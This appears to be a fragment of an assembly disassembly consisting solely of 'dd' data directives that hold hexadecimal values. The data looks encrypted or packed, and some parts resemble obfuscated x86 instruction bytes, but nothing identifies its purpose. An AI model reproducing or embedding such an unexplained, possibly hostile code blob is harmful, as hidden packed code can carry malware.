		dd 0E5DB153Eh, 7FCDEA9Dh, 1C076E3h, 1AB71A60h, 5321566h
		dd 1C514FE3h, 0D964FC66h, 9409EA99h, 8E11E701h,	44399069h
		dd 0A7BF1566h, 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h
		dd 943DE36Dh, 88321563h, 0BBC9368Fh, 0ABC29E99h, 0C1CF0D3h
		dd 55879C60h, 0C4340877h, 0A73DFC58h, 11321540h, 8B336BEDh
		dd 0C5EC9E98h, 227215A5h, 0F48F2E66h, 87340848h, 44321DE4h
		dd 2DC92E66h, 113210E0h, 72D4FC66h, 0F9B9EA99h,	242F2543h
		dd 4790A1h, 8832137Bh, 0CD521566h, 3F23C8D3h, 62AF9860h
		dd 7734316Bh, 66B01AB5h, 0AF321566h, 3348A2FBh,	87E1EA60h
		dd 0BBCDCBE5h, 0FF879E99h, 98340877h, 952360D3h, 0FDAF9860h
		dd 0DD34362Ah, 0F4B79EB5h, 1340848h, 5923C8E3h,	0BFBF7460h
		dd 17161CBAh, 15BFC699h, 421619A2h, 0A13DC699h,	1132156Ah
		dd 99EF90E5h, 0AD37137Bh, 0DDCDEAB8h, 1DDF88EBh, 5BCD1342h
		dd 443A9669h, 0E0B11566h, 1100FC62h, 15BF1566h,	42106FD1h
		dd 0A13DC699h, 1132156Dh, 99EFA0EDh, 0C4DB137Bh, 0A9321561h
		dd 0C23C8EBh, 55879C60h, 6F340877h, 9EBE2A8h, 0F896E697h
		dd 77CDEAF0h, 92388EBh,	0F1CD1345h, 9419D2EDh, 8E2F2543h
		dd 6EF390EFh, 0A7B9137Bh, 172F2543h, 5BF4531h, 421158E0h
		dd 0A7B9C499h, 172F0DD7h, 0DB94236h, 422F2543h,	97BF9836h
		dd 0EE34362Bh, 3E29EB7h, 0F5BF3EAEh, 0A134087Eh, 0C32FCDBh
		dd 0C3D1560h, 4432154Dh, 37C790EDh, 9419137Bh, 8E2F158Fh
		dd 0C23DD45Dh, 22321571h, 38790EDh, 0D31137Bh, 422F158Fh
		dd 247F90EFh, 52DB137Bh, 0D9321566h, 497AD4EDh,	22321A99h
		dd 0E4B79C26h, 89340873h, 591CD4E3h, 0CBB7D260h, 11340866h
		dd 0E2321566h, 54327D26h, 48631566h, 64A7EA66h,	77340840h
		dd 593474F3h, 97B79C60h, 98340874h, 953458E3h, 0F1CD4C60h
		dd 242F132Bh, 983A099h,	7765137Bh, 590230D3h, 65B79860h
		dd 0EE343634h, 61BF14B6h, 0CF340866h, 3F3458DBh, 0A0879E60h
		dd 7B34087Eh, 8D879EC2h, 8F340843h, 11CE53A1h, 49321566h
		dd 6F3710A6h, 214EB3FBh, 0C3364E3h, 0C5BF9E60h,	0CD340860h
		dd 64F5B86Eh, 1132159Ah, 41879C66h, 0C7340843h,	0A73DEA9Eh
		dd 11321546h, 55EF2BE7h, 0C13DC8BBh, 22321572h,	113213A1h
		dd 4EB11566h, 8D879C62h, 0CB340843h, 0EECDE380h, 8B31D5A7h
		dd 593364E3h, 0E78F9660h, 1034086Dh, 88AF9169h,	7AB31566h
		dd 8898BFCCh, 11209069h, 4EB11566h, 0B874D262h,	22321566h
		dd 0F8DBA5F1h, 88321565h, 14DAA5F1h, 81FA8E5h, 1E33137Bh
		dd 88322BE2h, 4532AD66h, 9FB11566h, 1711E711h, 80B61A66h
		dd 0C9321566h, 1679DFBh, 91E1EA60h, 0C3D8559h, 4432156Eh
		dd 0CB37D2E5h, 11321525h, 8762EDE5h, 44321FE4h,	88A2A566h
		dd 35DBBF3Eh, 0D0321566h, 0BB4D95CCh, 3AB71A8Fh, 92321566h
		dd 0ABC062DBh, 0C03D1560h, 2232156Eh, 446A88EBh, 5BCD1345h
		dd 0CF3652EEh, 3F3458E3h, 92F53E60h, 2599118Eh,	44CE53A1h
		dd 0CB321566h, 0EECDEA77h, 0ADFBA0EFh, 2C60137Bh, 22329566h
		dd 0A4CD150Ch, 8E2F34BFh, 681B8099h, 0A968137Bh, 0C1F30EBh
		dd 8833D260h, 0C7321566h, 0AFBB11A7h, 172F3843h, 77C7058Fh
		dd 4296FC99h, 0A9521566h, 0C1F30EBh, 13B9E60h, 67C066EBh
		dd 6C0A9460h, 1E7E5132h, 883209E3h, 3CB37366h, 2D1C5962h
		dd 113205E3h, 0BC29E66h, 0C1B913A0h, 242F0043h,	1133138Fh
		dd 3C29E66h, 0E8FB26B6h, 0A63D155Ah, 1132153Bh,	0C3D385Ah
		dd 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh, 0A3D255Ah, 44321466h
		dd 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah, 44321596h, 0A43D4F5Ah
		dd 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h, 0A03D745Ah, 113215BEh
		dd 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh, 0C7095766h, 88F09169h
		dd 5781566h, 0DDCD8F8Fh, 1EFB9099h, 8832A6E2h, 0E1879866h
		dd 0A934084Ch, 0A1C89EACh, 0D3DBB48h, 0BBCDEA9Fh, 0FBC5DA4Dh
		dd 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h, 242F3FC3h, 366F90EDh
		dd 48B7137Bh, 44289069h, 0A7F41566h, 172F0E43h,	2FE07D21h
		dd 0F1CDC1FCh, 242F0D63h, 66CD90EBh, 58CD1346h,	0C1E2EA34h
		dd 1AB71AA6h, 9A321566h, 9519A4E3h, 4BF29060h, 22320FE3h
		dd 34B7D366h, 0C434087Dh, 9E2EFC0Eh, 2787EABFh,	9C34087Eh
		dd 0A845EAE3h, 16E2EA60h, 0E2B7C599h, 11379069h, 0A9DB1566h
		dd 0CD321566h, 1C066E3h, 9C644560h, 0A840ABE3h,	4FE2EA60h
		dd 27B71AA6h, 0F8321566h, 88321562h, 581651EFh,	0A952D607h
		dd 32C066EBh, 49B94560h, 0CF0E5565h, 22329DF6h,	0A8A79C66h
		dd 8D340873h, 4432159Eh, 0AB3E45EDh, 0C13ACF3h,	0CCB94D60h
		dd 85193142h, 38B905Dh,	933D137Bh, 88321576h, 518B905Dh
		dd 0A13D137Bh, 11321562h, 8836D707h, 6036D207h,	22321566h
		dd 151651A1h, 88321566h, 443210DEh, 0ABBF9866h,	0EE34082Ah
		dd 8EB87587h, 0C03DFC5Ah, 22321558h, 953DFD5Ah,	88321524h
		dd 0C03D1A5Ah, 22321574h, 953DD85Ah, 88321559h,	0C03DFE5Ah
		dd 2232152Fh, 4FB8D607h, 78D19567h, 4BB2EEE6h, 0DDCDFAE3h
		dd 92EC9E99h, 0D63113A5h, 4426FC64h, 7CB91566h,	0EAC99667h
		dd 881B9169h, 9AB91566h, 0A1334B65h, 0D8DB10A5h, 87CDEA99h
		dd 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh, 88321F8Fh, 454C9566h
		dd 8FB71A98h, 0F8CDEA99h, 77CDEA06h, 13614430h,	0A89ED555h
		dd 0E1D195BEh, 8742EEE6h, 4432F9E2h, 2D3D2966h,	113230E2h
		dd 87DB2966h, 443391E2h, 2DD92966h, 113000E2h, 87D12966h
		dd 443264E2h, 2DD02966h, 113056E2h, 0D1694A66h,	0C1F5D638h
		dd 2411E625h, 11321560h, 6BB20BECh, 0C4C99596h,	0DDD19069h
		dd 9A7CEA99h, 951CF0E3h, 31A79E60h, 0A9340877h,	17F196B8h
		dd 0B3304B65h, 4CB01ABEh, 19321566h, 0AFB41ABCh, 0A3CDEA99h
		dd 42D996B9h, 8954B800h, 0D7B1BEF5h, 0AC0E9C62h, 481661EFh
		dd 33EFA0EFh, 4A6D137Bh, 4CB14B3Fh, 0BE52FC62h,	0A7F5EA99h
		dd 1711E625h, 88321564h, 0F23DCBEDh, 0A2CB9568h, 113A9669h
		dd 51311566h, 443FFC25h, 0CBB21566h, 90EBE299h,	8832EA87h
		dd 0CFEB3E66h, 3F1CF0E3h, 64A79E60h, 0B340877h,	592514DBh
		dd 0A63D1460h, 113215C5h, 0A3DCD5Dh, 443215FDh,	0A03DCF5Dh
		dd 0EECDEA27h, 88329B8Fh, 7B7D266h, 20343695h, 9A321566h
		dd 86841AB8h, 4BB2ECE6h, 22321DE5h, 52EB1666h, 8832188Fh
		dd 0BBDB9566h, 0C3B3CC91h, 11321599h, 0DB9CC4Dh, 422F3B83h
		dd 334780EDh, 0ACB1137Bh, 8E2F0267h, 0CB61A67h,	19321566h
		dd 19B01ABEh, 0B3321566h, 0A2B41ABCh, 6CCDEA98h, 9B981AD6h
		dd 8B2A568h, 85381A87h
		dd 0A1ED3ECCh, 0BAA1118Dh, 130D3E5h, 5923C8D3h,	23B7D260h
		dd 10340871h, 0B321566h, 1D6911A2h, 0A136D1E5h,	66DB11A2h
		dd 0C6CDEA9Fh, 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h
		dd 40F69638h, 0DDCBD28Fh, 52B7D299h, 8D343695h,	0CF321566h
		dd 26F196B8h, 94B90B65h, 8E2F3B83h, 554780EDh, 0A17C137Bh
		dd 0C3374DBh, 0C3D1460h, 44321465h, 0A03DCD5Dh,	1132156Eh
		dd 0E3DCF5Dh, 4432154Dh, 33EFA0EFh, 8CB9137Bh, 8E11E625h
		dd 48164967h, 2232CB8Fh, 94F54A66h, 8E2F1407h, 44321567h
		dd 0A16C4C3Dh, 0E6DB11A2h, 0BCDEA9Eh, 592514DBh, 0A63D1460h
		dd 113215DDh, 0A6D7884Dh, 0C9B9137Bh, 242F2543h, 0DE19DE65h
		dd 3837FCE5h, 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h
		dd 0C1F5EA99h, 2411E625h, 11321564h, 3E3DCBEDh,	0C4CB9568h
		dd 223A9669h, 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h
		dd 1132EA87h, 3EB3E66h,	591CF0E3h, 57A79E60h, 0F8340877h
		dd 77CDEA20h, 0B77190A1h, 22301345h, 0CFB91566h, 83CA369h
		dd 0C73D959Fh, 2232156Eh, 0F871CC65h, 8832156Bh, 0B3CDFCE6h
		dd 0DDD394BFh, 3A321566h, 6DB79EBFh, 0CF340848h, 3F2360F3h
		dd 108F9660h, 89340871h, 0BAFB9169h, 0FA09EA99h, 113A9769h
		dd 52091566h, 0B9559369h, 0A97CEA99h, 92FD3EA8h, 6182108Fh
		dd 0AD9984CCh, 0DDCDEDEEh, 0F90E13ECh, 88349169h, 0ADCA1566h
		dd 2232157Eh, 12EC9E35h, 4BB11438h, 0EEDAA563h,	0C9B1CA4Dh
		dd 4A998662h, 7137D3E5h, 0CF5444A5h, 2DF12960h,	113255E2h
		dd 87F92966h, 44322DE2h, 2DF02966h, 11322DE2h, 87F82966h
		dd 443225E2h, 0DD0F7366h, 21B61A43h, 0EE321566h, 4BCD3B5Bh
		dd 223218E3h, 13749F66h, 280EE542h, 44119169h, 0DA6B1566h
		dd 11322C8Fh, 0C9FB2666h, 44320C8Fh, 2231AC66h,	1EDB1566h
		dd 31321566h, 44321560h, 2232108Fh, 1135AC66h, 2CC11566h
		dd 554798EDh, 0EBB7137Bh, 11349069h, 3DBB1566h,	422F0413h
		dd 44F1EC3Fh, 0D20E13EDh, 88579169h, 9CB81566h,	0A2C2F6E6h
		dd 953D659Dh, 883215FAh, 0C03DFC5Ah, 22321529h,	953DFE5Ah
		dd 88321521h, 0C03DD75Ah, 22321559h, 953DDE5Ah,	88321551h
		dd 61CD2800h, 221F9169h, 0DB0E1566h, 88179169h,	0A70E1566h
		dd 22509169h, 2C541566h, 0D3DEA48h, 4432156Bh, 63053ECh
		dd 1E922996h, 883213E2h, 4BDBED66h, 0AB321566h,	0C2360D3h
		dd 31AF9860h, 0BB34362Ah, 72F1ECB5h, 982253EDh,	952184E3h
		dd 82B14D60h, 678F987Ah, 0BC340873h, 0AC165165h, 0D18F98CDh
		dd 8F340874h, 35165165h, 35BFBE36h, 422F1A63h, 67616CBh
		dd 0D26CBE4Eh, 1AAF9830h, 0BB34362Ah, 0FF95FCB5h, 0CEDFFFFFh
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 6668A7C0h, 0A8ED96A4h
		dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h,	798A152Ah
		dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h
		dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah
		dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 43A9C8CDh, 0EA32DCF1h
		dd 0BA8C36F4h, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h
		dd 7775A638h, 0DF07462Ch, 528B8F1Ch, 3C6D5h, 5492B85Eh
		dd 0F305E983h, 0E4CB8BA4h, 0B1DABA31h, 0EB32565Dh, 0E5DCBC2Fh
		dd 3C525074h, 927B5211h, 0B977DDD3h, 0F4B95163h, 0B575DF79h
		dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh
		dd 832F4DF0h, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h,	5717FB23h
		dd 25FB596Dh, 0FDF53FD5h, 562D77ADh, 0B7342291h, 23AC7ACFh
		dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 73DEABFFh, 0BA69FFA0h
		dd 0C87D7C0Ch, 0F305E983h, 8DDB8BA4h, 23F34FBDh, 368D8D06h
		dd 0B806240Eh, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h
		dd 0F2850F49h, 8BFFFFFFh, 69BD83C0h, 61D16h, 0BD830975h
		dd 61D0121h, 50197400h,	0B8C08B53h, 411h, 0F3D8589h, 9D8D061Dh
		dd 61FA6A4h, 585BD3FFh,	121BD83h, 7400061Dh, 0B8535017h
		dd 411h, 0F3D8589h, 9D8D061Dh, 61FA345h, 585BD3FFh, 0F2BBC08Bh
		dd 8D4672A4h, 24109C8Dh, 0D8E0F06h, 0E9000000h,	8, 0BB1FFB34h
		dd 20EC0373h, 20D18D89h, 8166061Dh, 0C7D4A7DEh,	1D331D85h
		dd 6AFC06h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0CE700995h, 0E335F5Bh, 7D9D8B4Eh
		dd 80061D32h, 85C77BC2h, 61D2BF9h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 48C35040h
		dd 19B5FF7Fh, 6A061D2Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 7A39C353h, 1995FFE2h
		dd 6A061D15h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 2E53C355h, 959D8B39h, 81061D2Fh
		dd 0EBC718D3h, 0FF006A0Bh, 1D120995h, 0EBC08B06h, 8BBDC058h
		dd 4053568Ah, 9B64C947h, 5D1A2F4Ah, 3CB2D88h, 987063C4h
		dd 0C84E4C4Fh, 0F0BCAE1Fh, 0B5920DEDh, 25910D92h, 2ED2F797h
		dd 8B5E776Ah, 49BB4DFDh, 0A74D1187h, 0B9430729h, 8AAA102h
		dd 5CD4E811h, 9E4B693Bh, 6A9FCDAEh, 12D8158Eh, 993C6663h
		dd 4C271101h, 7E8A6h, 0F5930000h, 0D58A2871h, 0D5852976h
		dd 5A061D03h, 0C28107B4h, 6CD2h, 6598D89h, 0B5B9061Dh
		dd 81204BF4h, 0B42663C1h, 1D9589DFh, 8B061D06h,	817B832h
		dd 0EE81535Ah, 603D1596h, 0A0BB6651h, 0F68158C0h, 1C373D06h
		dd 0BE9h, 0C163A300h, 113154EDh, 43186637h, 9D16EE81h
		dd 81667698h, 898C13E7h, 5D852332h, 83061D19h, 8B6604EAh
		dd 850F49DFh, 0FFFFFFB7h, 11E04EBh, 17E90316h, 95000005h
		dd 8C25CFA5h, 7E17C1A7h, 720BB5B7h, 63FCA6C2h, 77EF99D3h
		dd 0F973C3B8h, 0EF81B64Fh, 0E48CAC45h, 0D4A0A13Ah, 20B2442Ah
		dd 2366B78Ch, 6C29B71Dh, 9D44A2CAh, 6A472D14h, 35E587AFh
		dd 4FADBB78h, 41330EA7h, 0DC98A964h, 8FEF44FFh,	105CD9A5h
		dd 0C091623Fh, 7E9C20E3h, 89393B06h, 0A6B145D7h, 91422542h
		dd 68FD8B33h, 32555674h, 0C47DDB03h, 0B952FC74h, 6414F17Fh
		dd 80DE8EA7h, 230070C7h, 92F228CCh, 8720CAA6h, 4D0ABABAh
		dd 0D09C9AE8h, 0F35122FFh, 39718818h, 36BE2542h, 0A30FA1E4h
		dd 882E14FFh, 80000000h, 145B3BEBh, 7C24227h, 8F603D2Fh
		dd 2D148A31h, 88ABDB5Dh, 613203E0h, 9923B390h, 5A2542A6h
		dd 0B33D48D2h, 0CA14FF3Ch, 1, 0DB6D1F23h, 2542A6CBh, 7B581422h
		dd 7C32A5AAh, 2179E1FCh, 1CD53304h, 0EFA15117h,	4214495Dh
		dd 0DA92A425h, 0E27424D5h, 254214D2h, 0F5D02EDFh, 926FF93Ah
		dd 5B0B5DD7h, 148717A9h, 63142542h, 0E3672A05h,	82E64D37h
		dd 4D2315D2h, 93AE47EFh, 145C7002h, 0BC6D2542h,	14BA41EBh
		dd 0D82E8822h, 746ACDDFh, 280BC6A3h, 0D9636340h, 79F34341h
		dd 690B36CFh, 864D18Ch,	8014A658h, 112542ADh, 9F270260h
		dd 7E800515h, 1D14FF31h, 7Ch, 4A221476h, 0E983B26Dh, 55C5490Ch
		dd 0C67B072Fh, 2F00D1AEh, 0F93AF785h, 0E85C7FADh, 724369C8h
		dd 91DB5B14h, 433BF9B4h, 0C9F7CF4h, 0E4DAC971h,	0E9BA8B39h
		dd 88E4510Ch, 2351F0ABh, 2DED9546h, 6A27B941h, 0F2C3A0CCh
		dd 0F6DFF37h, 0CAD4B169h, 3714FF60h, 0D0ADC77Ah, 78491F15h
		dd 53A61Ah, 14FF0000h, 59A4A22h, 885992B2h, 0F0CB29D8h
		dd 906D0335h, 7311098Dh, 78FFA9C3h, 99491F14h, 611157DCh
		dd 42A63FCFh, 0BD1BCC25h, 594752E2h, 9E96DABDh,	0F32EDCAh
		dd 1858865h, 48C5519h, 0C7E47916h, 9D6080F1h, 0DBD58DEBh
		dd 62EB00E9h, 1, 0DB6D1FBBh, 2542A6CBh,	10C927D8h, 0AF6A4725h
		dd 2B49F892h, 82267D5Ah, 2349EC98h, 76DBB79h, 0FF4BC257h
		dd 0B192034h, 1C867378h, 7AD83F2Dh, 857F3ACCh, 33E41F45h
		dd 0AF3FD183h, 3CDCA184h, 0A2522D8Bh, 0C25C590Dh, 0F14F8CF0h
		dd 0BB6B0938h, 0D73537FEh, 7AB962Fh, 97D3B33Ch,	0B67F3AA3h
		dd 3708D9B6h, 9230CA5Ah, 43C7DCA1h, 0E094ADD7h,	0D8EC7E30h
		dd 0E9DCA192h, 9932DA38h, 34EFCCA8h, 8A8A670Dh,	6E063BF8h
		dd 0D4B06A10h, 0C55D076Dh, 0ED1C082Bh, 16652h, 4EE7A400h
		dd 1270411Eh, 3B59EF6Bh, 0B747D98Bh, 442542A6h,	0D5873593h
		dd 74511F18h, 2AB745A3h, 0A91F45BDh, 0E1601BF8h, 7431E393h
		dd 0FACBA8C0h, 0A0735A6Ah, 6BCC67DCh, 2ED63405h, 0EBC8AC95h
		dd 75CC893Bh, 0C15122FFh, 0DCA0732Dh, 0BF7A0DBEh, 559150AAh
		dd 1C25DE3Ch, 0F17B7B58h, 8EE65B29h, 59A24CE4h,	50D9ED1Dh
		dd 32000000h, 8C3C58EFh, 2A0769CFh, 0BB4DFB59h,	2542A69Bh
		dd 0EA7A5708h, 0DABD59DAh, 8D6A0631h, 2C0963D2h, 0F678A22Ch
		dd 0E27D9D45h, 0CD7F2F55h, 0EB492710h, 0BD59F95Dh, 4FF9AADAh
		dd 1A7A0FC1h, 45D5F30Bh, 0F8D8EC7Ch, 38E9DABDh,	0AD3DDAh
		dd 1F980000h, 0BD9AD662h, 9AB08EECh, 0A9C4EFEh,	2542A6FAh
		dd 4AF85607h, 0A29E698h, 20B0815Eh, 2542A68Ch, 36D96C1Dh
		dd 56AF15FFh, 236EFC5Ah, 701F4539h, 1A27E2BFh, 2A17B05Ah
		dd 0C6DD6D4Ah, 1FDCA174h, 0BB765315h, 0FB38F37Dh, 0D5437AABh
		dd 1FF05755h, 0BCAC8742h, 0C9A575F9h, 0ACD842C6h, 7735DF95h
		dd 8113C3A1h, 0E6FD9CFBh, 0ED019345h, 0FED6FDB1h, 0FB0B9D4Dh
		dd 8D6FDB1h, 45F6F957h,	0E094AD68h, 0ABC57330h,	0C49FFDCEh
		dd 0EE2CC16Dh, 0C42E97C0h, 5BBF65C3h, 0A2523604h, 0A1196A10h
		dd 1E17D4ECh, 42A0714Eh, 0D890A43Fh, 1FD65D07h,	0BA97D162h
		dd 9FAD8BE9h, 0B1B749F9h, 261F1EB5h, 64DD9875h,	825F1126h
		dd 0A836E0B1h, 485064F6h, 0B061DC99h, 0CCA89952h, 5E625FEFh
		dd 0EF73DBEFh, 8CE8592Bh, 7CF849E2h, 1850E49Fh,	0DA40E43Bh
		dd 33DD97AAh, 1DCDA79Ah, 0B895D360h, 0FAE89E7h,	3, 14B65D6Ah
		dd 0B6714E26h, 510CE98Bh, 0F1AC89E7h, 924D2A46h, 30EBC8A4h
		dd 0CE896606h, 6A250266h, 9C4A1CBh, 9C613E2Ah, 81E28952h
		dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 1D682414h, 89000015h
		dd 0EC81240Ch, 4, 53243C89h, 0C764C4BBh, 0F7EBD170h, 55D3F7DBh
		dd 0C05F1EBDh, 5DEB01CDh, 815BD989h, 4ECh, 24248900h, 4240483h
		dd 8BA525Fh, 1000000h, 8B0A89FAh, 0C4812414h, 4, 52243C8Bh
		dd 0C281E289h, 4, 8704C283h, 0FF5C2414h, 83592434h, 23E904C4h
		dd 94FFF969h, 14B81346h, 3062416h, 11E0FFC5h, 2B096361h
		dd 754D27E7h, 0C8351FAFh, 0EC1C34B0h, 0B778ED7Dh, 0A870BDCAh
		dd 0D22DB356h, 297EB1E3h, 0C438A146h, 0E93674D0h, 0EDh
		dd 0D88C6660h, 840F04A8h, 0DFh,	1579B58Bh, 0FE83061Dh
		dd 22850F00h, 0C6000000h, 1D1B2585h, 69684506h,	0FF8E7269h
		dd 1D11E5B5h, 0FF858D06h, 0FF062077h, 0FD8589D0h, 8B061D00h
		dd 0E93E80F0h, 31850Fh,	858D0000h, 6227429h, 0BD8BD0FFh
		dd 61D29C1h, 1184C781h,	0B58B0000h, 61D1579h, 8B9F787h
		dd 0F3000000h, 79B58BA4h, 8D061D15h, 20A2DC85h,	8BD0FF06h
		dd 1D1C79B5h, 0FE8306h,	22850Fh, 85C60000h, 61D1B25h, 0BEF46854h
		dd 0B5FFFF4Eh, 61D11E5h, 77FF858Dh, 0D0FF0620h,	1C798589h
		dd 0F08B061Dh, 0FE93E80h, 3A85h, 79B58B00h, 8D061D1Ch
		dd 22742985h, 8BD0FF06h, 1D29C1BDh, 84C78106h, 83000011h
		dd 0B58B08C7h, 61D1C79h, 8B9F787h, 0F3000000h, 79B58BA4h
		dd 8D061D1Ch, 20A2DC85h, 61D0FF06h, 0CC858DC3h,	89062416h
		dd 1D144585h, 0EA04EB06h, 0E95D2224h, 536h, 0D47EF644h
		dd 0C670F83Bh, 0BA64082Dh, 0AB551321h, 9E482412h, 0C4724926h
		dd 0D265FEA8h, 0DD5BF49Eh, 0F150E993h, 61F3D983h, 66B13FCFh
		dd 0D866CC23h, 0F3511B1Bh, 472D144Ch, 0E587AF6Ah, 0B0C07835h
		dd 5F1CAA52h, 0E4B592E2h, 74CD86h, 9BD96823h, 9F5C0EBEh
		dd 24F5D2A2h, 42A60094h, 25E09125h, 0AF805D13h,	0CD9B9851h
		dd 71A92DF0h, 103891Eh,	0D22D278Ch, 0EE86BB74h,	0B6B2813Eh
		dd 7B607406h, 0C0712542h, 972CBA62h, 0F0E69781h, 0FC9BD5BAh
		dd 0CFDA336h, 4BEDA604h, 7FB87525h, 0E54314F1h,	0E01AAF3Dh
		dd 0A3D4AD6Fh, 95F80C9Eh, 58092542h, 0C8702987h, 2710CBA8h
		dd 0C596D65Fh, 2DED91E8h, 0E58FE157h, 0CF999A57h, 0AC321F2h
		dd 0D0603D37h, 25429539h, 6C491F14h, 0CE987B1h,	0B4B4803Bh
		dd 3EDC80D7h, 3BDF6730h, 0FF0FA04Ah, 6CD714h, 1F300000h
		dd 307F5F8Ah, 2B89A9A6h, 0F5A5CF72h, 0F7AD1660h, 8FED9744h
		dd 8F9A24B4h, 0CC692542h, 2B08C3A0h, 199D603Dh,	1CA46D01h
		dd 156587FEh, 11414FFh,	6D000000h, 6C491F14h, 9E682B1h
		dd 0A098E64Eh, 5F22FFD0h, 7F8F21D3h, 8C2542A6h,	43D77DDBh
		dd 0C0059A4Ch, 5DB947E0h, 89EC0090h, 4CFD2542h,	6AFE35EEh
		dd 5A1A27C0h, 221429B0h, 81B26D4Ah, 9C397308h, 0B07619D6h
		dd 42B88C20h, 9B6C1D25h, 0E634BEBEh, 2AD4989Eh,	0E7C4B091h
		dd 8663092Ch, 21FE76CBh, 0BF9CD066h, 0BAB4660Eh, 1372A832h
		dd 14FF2489h, 7AB0h, 22140900h,	83B26D4Ah, 0B87C39E9h
		dd 5E6E00B0h, 6B2542A6h, 0C6815CBAh, 641FFC70h,	0C0C09DD3h
		dd 0C78AE436h, 89ADD743h, 96A039E3h, 0F63EF9D6h, 830D9572h
		dd 3AECEE97h, 945114FFh, 0FB6FCDA3h, 65h, 0F5099B4Dh, 6DABD50h
		dd 1450F755h, 96D66022h, 0B2DE8C5h, 3FF8B565h, 0DFEF8131h
		dd 0EC2542A6h, 4702DD3Bh, 0E5A07DEFh, 3D3D1A4Eh, 40767B3h
		dd 4CEA9A80h, 1FEF7620h, 0A6CBDB6Dh, 11222542h,	0A4A97A57h
		dd 1DB143F3h, 0AE2542A6h, 4DE69FFDh, 1BAE3E1Bh,	0E42542A6h
		dd 25C7BE5Ch, 5414FF3Ch, 1, 4B2114ADh, 0FC8EB36Eh, 8455323Ah
		dd 0D37FD6B3h, 3D40383Eh, 0FCE3659Ch, 34F285B0h, 973D9BAEh
		dd 1E770C83h, 0D1D9F187h, 82DE644h, 2EFCBA64h, 2BE89A4Ah
		dd 0B586630Dh, 0D0E0C957h, 0C2731F45h, 5D172AE5h, 4D271AB3h
		dd 0F3C6E070h, 0F25DCA1h, 72C17C59h, 1EC219F6h,	4DE4B0FCh
		dd 0E74F5E85h, 8B8F1316h, 822C48F9h, 3F1C58E9h,	1B6FD28Fh
		dd 2482531Dh, 0C19ED66Bh, 5E3B2D06h, 45F092A3h,	0A8794A27h
		dd 0A8721ACBh, 3E0F65DCh, 1E66B43Eh, 0FA75123h,	0ED1C1D9Dh
		dd 1389Ch, 59EFF500h, 6ACE8B3Bh, 0C56E2906h, 24F5C6A3h
		dd 7B8618C6h, 781F45BDh, 122FEAC7h, 4CF5B262h, 0A5904B28h
		dd 0F098F6C7h, 0F290A562h, 7C4D2A46h, 0AD944DABh, 122FEAC7h
		dd 0DBACBC78h, 0A674FEFEh, 650B2CE9h, 266CD88h,	25835425h
		dd 82B5D56Ch, 18AC3EEEh, 0A9DCA073h, 0E57D27F8h, 0ED1DE9CBh
		dd 6BE9A338h, 13B9FCA6h, 4041B5h, 0EF9A0000h, 0DA8C3C58h
		dd 0F351171Dh, 42A6E165h, 2401B225h, 42A60094h,	8335E525h
		dd 42A6DDF1h, 0DF3DEE25h, 0A97EE139h, 0C5891BCBh, 0D62542A6h
		dd 3BED7B25h, 0BD5915A9h, 97F5A6DAh, 8CFAh, 59EF5500h
		dd 5840B779h, 3D45139h,	0A150C153h, 50C31F45h, 3A143A2Bh
		dd 2704D563h, 7EB5D56Ch, 6B3C0DEAh, 3D1C26BBh, 6F69B71h
		dd 0DA6700A8h, 962DBD9Ah, 27DCA12Dh, 340D77A3h,	42D89640h
		dd 7DB97626h, 0E34112EFh, 26D4A335h, 0B263E6FDh, 0C2326D02h
		dd 0CF693ED9h, 66DB9671h, 0CB76310Eh, 3011CCA9h, 20A46744h
		dd 791D74FAh, 0C68BEA1h, 8418AA5Ch, 15D6FDBFh, 0C6580664h
		dd 0ECA1B6F1h, 9025D586h, 0B556AAF5h, 56FE5C03h, 3B59EFCFh
		dd 0AF22F98Bh, 8B91F1Eh, 0A3D1702Bh, 98155EF3h,	9FA010FAh
		dd 41009941h, 0B7C65633h, 86959B1Dh, 0AA8B48FAh, 30A232C2h
		dd 7E2FBB97h, 9AF870C3h, 0E35E26F4h, 0F34EE791h, 0FECFA197h
		dd 0BBCE6621h, 97309529h, 0E27526BBh, 0E91EBB61h, 623F10B1h
		dd 0D1B3670Bh, 0C15A0470h, 6717F480h, 689323B5h, 0CA6ABB97h
		dd 0EBF0C19Eh, 123FDC3Ah, 9A000000h, 9BD5621Fh,	6D1FCD3Dh
		dd 42A6CBDBh, 0C927D825h, 4E261422h, 0E98BB671h, 89E7510Ch
		dd 2A46F1ACh, 0C8A4924Dh, 660630EBh, 266CE89h, 0A1CB6A25h
		dd 3E2A09C4h, 72689C61h, 89000056h, 0E589242Ch,	4C581h
		dd 0ED830000h, 242C8704h, 0E789575Ch, 4C781h, 0EF810000h
		dd 4, 5C243C87h, 68243489h, 60E6h, 68240489h, 62417D0h
		dd 48B545Eh, 4C48124h, 68000000h, 1018h, 8F243489h, 34FF0840h
		dd 0C4815824h, 4, 5E2434FFh, 4C481h, 0BBE90000h, 28FFF962h
		dd 5E7E2CF3h, 70C2F4Ch,	92B8864Ch, 306241Ch, 3FE0FFC5h
